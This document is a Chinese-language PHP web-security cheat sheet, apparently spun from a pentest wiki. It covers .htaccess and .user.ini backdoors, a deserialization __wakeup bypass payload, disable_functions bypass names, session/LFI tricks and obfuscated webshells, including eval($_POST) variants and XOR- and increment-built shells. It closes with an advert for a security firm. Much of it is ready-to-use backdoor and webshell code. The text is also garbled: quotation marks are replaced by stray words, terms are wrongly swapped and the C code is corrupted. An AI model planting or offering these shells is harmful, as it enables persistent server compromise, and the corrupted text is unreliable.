4.1.1. 后门
4.1.1.1. php.ini构成的后门
利用 auto_prepend_file 和 include_path

4.1.1.2. .htaccess后门
php_value auto_append_file .htaccess
#<?php phpinfo();
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
4.1.1.3. .user.ini文件构成的PHP后门
.user.ini可运行于所有以fastcgi运行的server。利用办法同php.in
4.1.2. 反序列化
4.1.2.1. PHP序列化实现
PHP序列化处理共有三种,分别为php_serialize、php_binary和 WDDX,默认为php_serialize,可通过配置中的 session.serialize_handler 修正。
个中php_serialize的实现在 php-src/ext/standard/var.c 中,紧张函数为 php_var_serialize_intern ,序列化后的格式如下:
booleanb:<value>;b:1; // trueb:0; // falseintegeri:<value>;doubled:<value>;NULLN;strings:<length>:\"大众<value>\"大众;s:1:\公众s\"大众;arraya:<length>:{key, value};a:1:{s:4:\公众key1\公众;s:6:\"大众value1\"大众;} // array(\"大众key1\公众 => \"大众value1\"大众);objectO:<class_name_length>:\"大众<class_name><number_of_properties>:{<properties>};reference指针类型R:reference;O:1:\公众A\"大众:2:{s:1:\公众a\"大众;i:1;s:1:\"大众b\"大众;R:2;}$a = new A();$a->a=1;$a->b=&$a->a;4.1.2.2. PHP反序列化漏洞
php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码实行等问题。若没有干系函数,在析构时也会调用干系的析构函数,同样会造成代码实行。
其余 __toString / __call 两个函数也有利用的可能。
个中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString 在echo时被触发, __call 在一个未被定义的函数调用时被触发。
下面供应一个大略的demo.
利用 auto_prepend_file 和 include_path
输出
construct
Data's value is raw value.
destruct
string(44) \公众O:4:\公众Demo\"大众:1:{s:4:\"大众data\"大众;s:9:\"大众raw value\"大众;}\公众
把序列化的字符串修正一下后,实行
unserialize('O:4:\"大众Demo\"大众:1:{s:4:\公众data\"大众;s:15:\"大众malicious value\"大众;}');
输出
wake up
Data's value is malicious value.
destruct
这里看到,值被修正了.
上面是一个 unserialize() 的大略运用,不丢脸出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。
那么,在 __wakeup() 中加入判断是否可以阻挡这个漏洞呢?在 __wakeup() 中我们加入一行代码
但实在还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是利用下面的payload
unserialize('O:7:\"大众HITCON\"大众:1:{s:4:\"大众data\"大众;s:15:\"大众malicious value\"大众;}');
输出
Data's value is malicious value.
destruct
这里wakeup被绕过,值依旧被修正了。
4.1.3. Disable Functions
4.1.3.1. 机制实现
PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function 来实现禁止的效果。
这个函数根据函数名在内置函数列表中找到对应的位置并修正掉,当前版本的代码如下:
和函数的实现办法类似,disable classes也是这样实现的
由于这个实现机制的缘故原由,在PHP启动后通过 ini_set 来修正 disable_functions 或 disable_classes 是无效的。
4.1.3.2. Bypass
LD_PRELOAD绕过PHP OPcacheMail函数imap_open4.1.4. Open Basedir
4.1.4.1. 机制实现
PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现办法是在调用文件等干系操作时调用函数根据路径来检讨是否在basedir内,个中一部分实当代码如下:
PHPAPI int php_check_open_basedir_ex(const char path, int warn)
{
/ Only check when open_basedir is available /
if (PG(open_basedir) && PG(open_basedir)) {
char pathbuf;
char ptr;
char end;
/ Check if the path is too long so we can give a more useful error
message. /
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, \公众File name is longer than the maximum allowed path length on this platform (%d): %s\"大众, MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
pathbuf = estrdup(PG(open_basedir))
ptr = pathbuf;
while (ptr && ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
end = '\0';
end++;
}
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, \"大众open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)\"大众, path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; / we deny permission to open it /
return -1;
}
/ Nothing to check... /
return 0;
}
4.1.5. phpinfo干系漏洞
4.1.5.1. Session.Save
PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修正或读取session。从phpinfo中可得到session位置
4.1.5.2. Session.Upload
php.ini默认开启了 session.upload_progress.enabled , 该选项会导致天生上传进度文件,其存储路径可以在phpinfo中获取。
那么可以布局特殊的报文向做事器发送,在有LFI的情形下即可利用。
4.1.5.3. /tmp临时文件竞争
phpinfo中可以看到上传的临时文件的路径,从而实现LFI
4.1.6. htaccess injection payload
4.1.6.1. file inclusion
利用 auto_prepend_file 和 include_path
4.1.6.2. code execution
php_value auto_append_file .htaccess
#<?php phpinfo();
4.1.6.3. file inclusion
php_flag allow_url_include 1php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B#php_value auto_append_file /evil-code.txt4.1.6.4. code execution with UTF-7
php_flag zend.multibyte 1
php_value zend._encoding \公众UTF-7\"大众
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
4.1.6.5. Source code disclosure
php_flag engine 0
4.1.7. WebShell
4.1.7.1. 常见变形
GLOBALSeval($GLOBALS['_POST']['op']);$_FILEeval($_FILE['name']);拆分assert(${\公众_PO\"大众.\"大众ST\"大众} ['sz']);动态函数实行$k=\"大众ass\"大众.\"大众ert\"大众; $k(${\"大众_PO\"大众.\"大众ST\"大众} ['sz']);create_function$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'[\公众code\"大众]);');$function();preg_replacerot13进制转化\"大众\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145\"大众利用文件名__FILE__4.1.7.2. 字符串变形函数
ucwordsucfirsttrimsubstr_replacesubstrstrtrstrtoupperstrtolowerstrtokstr_rot134.1.7.3. 回调函数
call_user_func_arraycall_user_funcarray_filterarray_walkarray_mapregistregister_shutdown_functionregister_tick_functionfilter_varfilter_var_arrayuasortuksortarray_reducearray_walkarray_walk_recursive4.1.7.4. 分外字符Shell
PHP的字符串可以在进行异或、自增运算的时候,会直接进走运算,故可以利用分外字符来构成Shell。
@$_++;
$__=(\公众#\公众^\"大众|\"大众).(\"大众.\公众^\公众~\"大众).(\"大众/\"大众^\公众`\公众).(\"大众|\公众^\"大众/\"大众).(\"大众{\"大众^\公众/\"大众);
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@\公众$_\公众; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(_decode($_[_]));
4.1.8. 其它
4.1.8.1. 低精度
php中并不是用高精度来存储浮点数,而是用利用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会涌现预期之外的缺点。比如 php -r \"大众var_dump(0.2+0.7==0.9);\公众 这行代码的输出是 bool(false) 而不是 bool(true)。这在一些情形下可能涌现问题。
4.1.8.2. 弱类型
如果利用 == 来判断相等,则会由于类型推断涌现一些预见之外的行为,比如magic hash,指当两个md5值都是 0e[0-9]{30} 的时候,就会认为两个hash值相等。其余在判断字符串和数字的时候,PHP会自动做类型转换,那么 1==\"大众1a.php\公众 的结果会是true
其余在判断一些hash时,如果传入的是数组,返回值会为 NULL, 因此在判断来自网络要求的数据的哈希值时须要先判断数据类型。
同样的, strcmp() ereg() strpos() 这些函数在处理数组的时候也会非常,返回NULL。
4.1.8.3. 命令实行
preg_replace 第一个参数是//e的时候,第二个参数会被当作命令实行
4.1.8.4. 截断
PHP字符存在截断行为,可以利用 ereg / %00 / iconv 等实现php字符截断的操作,从而触发漏洞。
4.1.8.5. 变量覆盖
当利用 extract / parse_str 等函数时,或者利用php的 $$ 特性时,如果没有精确的调用,则可能使得用户可以任意修正变量。
4.1.8.6. 实行系统命令
禁用的函数可以在phpinfo中的 disable_functions 中查看
pcntl_execexecpassthrupopenshell_execsystemproc_open4.1.8.7. Magic函数
__construct() __destruct()__call() __callStatic()__get() __set()__isset() __unset()__sleep() __wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()4.1.8.8. 文件干系敏感函数
move_uploaded_filefile_put_contents / file_get_contentsunlinkfopen / fgets4.1.8.9. php特性
php自身在解析要求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线,讲了那么多渗透测试中PHP后门的安全检测方法,那么如果对此有需求的朋友可以咨询专业的网站安全公司来做渗透测试。